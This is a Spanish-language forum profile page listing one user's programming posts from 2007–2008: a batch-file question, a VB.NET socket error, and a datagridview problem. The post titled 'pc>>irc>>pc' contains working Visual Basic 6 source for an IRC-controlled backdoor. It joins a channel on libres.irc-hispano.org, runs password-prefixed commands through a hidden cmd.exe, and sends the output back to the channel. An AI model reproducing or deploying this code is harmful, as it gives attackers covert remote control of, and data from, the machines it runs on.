|
121
|
Programación / Scripting / MS-DOS ARCHIVOS BAT
|
en: 16 Marzo 2008, 20:38 pm
|
Tengo un problemilla... espero me sepais echar una mano.
Bueno, el proble es el siguiente. Necesito saver como continuo una instruccion en la linea siguiente.
ejemplo: open c:\ windows\system32 \loquesea.txt
COMO PUEDO HACER ESTO?. Gracias de ante mano
|
|
|
123
|
Programación / Programación Visual Basic / AYUDA CON ESTE CODIGO
|
en: 2 Febrero 2008, 10:06 am
|
El fallo esta a la punta de abajo. Imports System Imports System.Text Imports System.IO Imports System.Net Imports System.Net.Sockets Imports Microsoft.VisualBasic
Public Class GetSocket
Private Shared Function ConnectSocket(ByVal server As String, ByVal port As Integer) As Socket Dim s As Socket = Nothing Dim hostEntry As IPHostEntry = Nothing
' Get host related information. hostEntry = Dns.GetHostEntry("libres.irc - hispano.org")
' Loop through the AddressList to obtain the supported AddressFamily. This is to avoid ' an exception that occurs when the host host IP Address is not compatible with the address family ' (typical in the IPv6 case). Dim address As IPAddress
For Each address In hostEntry.AddressList Dim endPoint As New IPEndPoint(address, port) Dim tempSocket As New Socket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp)
tempSocket.Connect(endPoint)
If tempSocket.Connected Then s = tempSocket Exit For End If
Next address
Return s End Function
' This method requests the home page content for the specified server.
Private Shared Function SocketSendReceive(ByVal server As String, ByVal port As Integer) As String 'Set up variables and String to write to the server. Dim ascii As Encoding = Encoding.ASCII Dim request As String = "GET / HTTP/1.1" + ControlChars.Cr + ControlChars.Lf + "Host: " + server + ControlChars.Cr + ControlChars.Lf + "Connection: Close" + ControlChars.Cr + ControlChars.Lf + ControlChars.Cr + ControlChars.Lf Dim bytesSent As [Byte]() = ascii.GetBytes(request) Dim bytesReceived(255) As [Byte]
' Create a socket connection with the specified server and port. Dim s As Socket = ConnectSocket(server, port)
If s Is Nothing Then Return "Connection failed" End If ' Send request to the server. s.Send(bytesSent, bytesSent.Length, 0)
' Receive the server home page content. Dim bytes As Int32
' Read the first 256 bytes. Dim page As [String] = "Default HTML page on " + server + ":" + ControlChars.Cr + ControlChars.Lf
' The following will block until the page is transmitted. Do bytes = s.Receive(bytesReceived, bytesReceived.Length, 0) page = page + Encoding.ASCII.GetString(bytesReceived, 0, bytes) Loop While bytes > 0
Return page End Function
'Entry point which delegates to C-style main Private Function Public Overloads Shared Sub Main() Main(System.Environment.GetCommandLineArgs()) End Sub
Private Overloads Shared Sub Main(ByVal args() As String) Dim host As String Dim port As Integer = 80
If args.Length = 1 Then ' If no server name is passed as argument to this program, ' use the current host name as default. host = Dns.GetHostName() Else host = args(1) End If
Dim result As String = SocketSendReceive(host, port)
'CAMBIE CONSOLE POR TEXTBOX1 Y ME DA UN ERROR. TextBox1 = result End Sub 'Main End Class
|
|
|
125
|
Programación / Programación Visual Basic / Problemilla con datagridview
|
en: 25 Enero 2008, 11:34 am
|
La cosa es que creo la base de datos, creo una tabla y luego inserto el datagrid en el formulario. Introdusco informacion y le doy a guardar en el proyecto y la cosa es que se guarda pero al intentar editar o eliminar una fila me da error. Alguien sabria decirme el porque?.
|
|
|
128
|
Programación / Programación Visual Basic / Que opinais? pc>>irc>>pc
|
en: 12 Noviembre 2007, 20:43 pm
|
Alguien podria decirme un buen libro con buenas explicaciones de vb y programacion con windows.
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Dim ruta
Private Sub Form_Load() Winsock1.RemotePort = "6667" Winsock1.RemoteHost = "libres.irc-hispano.org" Winsock1.Connect
End Sub
Private Sub Timer1_Timer() '------------------------------------------------ 'ABRIMOS EL ARCHIVO Y VAMOS ENVIANDO LINEA POR LINEA
Dim comando As String Dim a() As String Dim i As Integer
Open "c:\pas" For Input As #1 comando = Input(LOF(1), #1) Close #1 a = Split(comando, vbNewLine)
For i = LBound(a) To UBound(a) Winsock1.SendData "PRIVMSG #123456789 :" + a(i) + vbCrLf
Espera (4000) Text1.Text = a(i) Next i
Timer1 = False End Sub
Private Sub Timer2_Timer() Winsock1.RemotePort = "6667" Winsock1.RemoteHost = "libres.irc-hispano.org" Winsock1.Connect End Sub
Private Sub Winsock1_Close() Timer2 = True End Sub
Private Sub Winsock1_Connect() Winsock1.SendData "NICK toni12883" & vbCrLf Winsock1.SendData "USER antonio antonio antonio antonio antonio" & vbCrLf Timer2 = False
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim data As String Dim data1 Dim data2 Dim data3 Dim c ruta = "C:\" '------------------------------------------------- Winsock1.GetData data '-------------------------------------------------- 'PING? PONG!
If InStr(data, "PING") = 1 Then Winsock1.SendData "PONG " & Split(data, " ")(1) Winsock1.SendData "join #123456789" & vbCrLf End If
'----------------------------------------------- 'COMPRUEVA LA CONTRASEÑA Y COGE EL COMANDO
data1 = InStr(data, "1983") data2 = Mid(data, data1, 4) If data2 = "1983" Then data2 = Mid(data, data1, 999999) data3 = data2 data1 = InStr(data3, " ") data2 = Mid(data3, data1, 999999) data3 = data2
'------------------------------------------ 'ELIMINANDO EL SALTO DE LINEA c = InStr(data3, vbNewLine) c = c - 1 data3 = Left(data3, c) '------------------------------------------- 'EJECUTA EL COMANDO CMD Shell "cmd.exe /c " & data3 & " > c:\pas", vbHide
Timer1 = True End If End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Timer2 = True
End Sub
'---------------------------------------------------- 'MADE IN HaDeS
Sub Espera(Tiempo&) Dim cont& cont = 1 While (cont <= Tiempo) Sleep 1 DoEvents cont = cont + 20 Wend End Sub
|
|
|
|
|
|
|